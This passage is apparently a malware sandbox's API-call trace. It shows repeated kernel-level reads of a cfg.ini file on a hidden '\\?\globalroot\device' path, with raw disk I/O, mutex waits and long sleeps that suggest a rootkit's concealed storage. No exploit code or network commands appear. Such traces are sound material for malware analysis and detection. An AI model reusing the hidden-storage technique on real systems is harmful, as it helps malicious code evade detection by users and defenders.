AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.657] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.657] IdePortDispatch () returned 0x103 [0129.658] KeWaitForMutexObject () returned 0x0 [0129.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.658] KeLeaveCriticalRegion () [0129.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.658] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.658] KeEnterCriticalRegion () [0129.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.658] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.658] KeLeaveCriticalRegion () [0129.658] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.658] KeEnterCriticalRegion () [0129.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.658] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.658] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c06070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.659] KeLeaveCriticalRegion () [0129.659] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.659] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.659] KeEnterCriticalRegion () [0129.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.659] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.659] KeLeaveCriticalRegion () [0129.659] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.659] ReleaseMutex (hMutex=0xf0) returned 1 [0129.659] Sleep (dwMilliseconds=0x124f80) [0129.674] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.674] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.674] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.674] KeEnterCriticalRegion () [0129.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.674] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.674] IdePortDispatch () returned 0x103 [0129.674] KeWaitForMutexObject () returned 0x0 [0129.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.674] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.675] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.675] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.675] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.675] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c061f0 [0129.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.675] KeLeaveCriticalRegion () [0129.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.675] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.675] KeEnterCriticalRegion () [0129.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.675] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.675] KeLeaveCriticalRegion () [0129.675] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.675] KeEnterCriticalRegion () [0129.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.675] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.675] IdePortDispatch () returned 0x103 [0129.675] KeWaitForMutexObject () returned 0x0 [0129.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.675] KeLeaveCriticalRegion () [0129.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.675] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.675] KeEnterCriticalRegion () [0129.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c33000 [0129.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.676] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.676] IdePortDispatch () returned 0x103 [0129.676] KeWaitForMutexObject () returned 0x0 [0129.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.676] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.676] IdePortDispatch () returned 0x103 [0129.676] KeWaitForMutexObject () returned 0x0 [0129.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.676] KeLeaveCriticalRegion () [0129.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.677] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.677] KeEnterCriticalRegion () [0129.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.677] KeLeaveCriticalRegion () [0129.677] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.677] KeEnterCriticalRegion () [0129.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.677] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.677] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c062b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.677] KeLeaveCriticalRegion () [0129.677] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.677] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.677] KeEnterCriticalRegion () [0129.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.677] ExFreePoolWithTag (P=0xfffffa8003c061f0, Tag=0x0) [0129.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.677] KeLeaveCriticalRegion () [0129.677] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.677] ReleaseMutex (hMutex=0xf0) returned 1 [0129.677] Sleep (dwMilliseconds=0x124f80) [0129.694] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.694] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.694] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.694] KeEnterCriticalRegion () [0129.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.694] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.694] IdePortDispatch () returned 0x103 [0129.694] KeWaitForMutexObject () returned 0x0 [0129.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.694] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.694] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.694] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.694] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.694] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.694] KeLeaveCriticalRegion () [0129.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.695] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.695] KeEnterCriticalRegion () [0129.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.695] KeLeaveCriticalRegion () [0129.695] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.695] KeEnterCriticalRegion () [0129.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.695] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.695] IdePortDispatch () returned 0x103 [0129.695] KeWaitForMutexObject () returned 0x0 [0129.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.695] KeLeaveCriticalRegion () [0129.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.695] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.695] KeEnterCriticalRegion () [0129.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.695] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c38000 [0129.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.695] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.695] IdePortDispatch () returned 0x103 [0129.695] KeWaitForMutexObject () returned 0x0 [0129.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.696] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.696] IdePortDispatch () returned 0x103 [0129.696] KeWaitForMutexObject () returned 0x0 [0129.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.696] KeLeaveCriticalRegion () [0129.696] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.696] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.696] KeEnterCriticalRegion () [0129.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.697] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.697] KeLeaveCriticalRegion () [0129.697] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.697] KeEnterCriticalRegion () [0129.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.697] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.697] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c06400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.697] KeLeaveCriticalRegion () [0129.697] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.697] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.697] KeEnterCriticalRegion () [0129.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.697] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.697] KeLeaveCriticalRegion () [0129.697] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.697] ReleaseMutex (hMutex=0xf0) returned 1 [0129.697] Sleep (dwMilliseconds=0x124f80) [0129.705] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.708] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.708] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.708] KeEnterCriticalRegion () [0129.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.709] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.709] IdePortDispatch () returned 0x103 [0129.709] KeWaitForMutexObject () returned 0x0 [0129.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.709] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.709] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.709] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.709] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.709] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c065e0 [0129.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.709] KeLeaveCriticalRegion () [0129.709] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.709] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.709] KeEnterCriticalRegion () [0129.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.709] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.709] KeLeaveCriticalRegion () [0129.709] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.709] KeEnterCriticalRegion () [0129.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.709] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.709] IdePortDispatch () returned 0x103 [0129.709] KeWaitForMutexObject () returned 0x0 [0129.710] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.710] KeLeaveCriticalRegion () [0129.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.710] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.710] KeEnterCriticalRegion () [0129.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.710] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7c000 [0129.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.710] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.710] IdePortDispatch () returned 0x103 [0129.710] KeWaitForMutexObject () returned 0x0 [0129.710] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.710] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.710] IdePortDispatch () returned 0x103 [0129.710] KeWaitForMutexObject () returned 0x0 [0129.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.710] KeLeaveCriticalRegion () [0129.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.711] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.711] KeEnterCriticalRegion () [0129.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.711] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.711] KeLeaveCriticalRegion () [0129.711] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.711] KeEnterCriticalRegion () [0129.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.711] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.711] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.711] KeLeaveCriticalRegion () [0129.711] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.711] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.711] KeEnterCriticalRegion () [0129.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.711] ExFreePoolWithTag (P=0xfffffa8003c065e0, Tag=0x0) [0129.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.711] KeLeaveCriticalRegion () [0129.711] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.711] ReleaseMutex (hMutex=0xf0) returned 1 [0129.712] Sleep (dwMilliseconds=0x124f80) [0129.720] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.720] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.720] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, 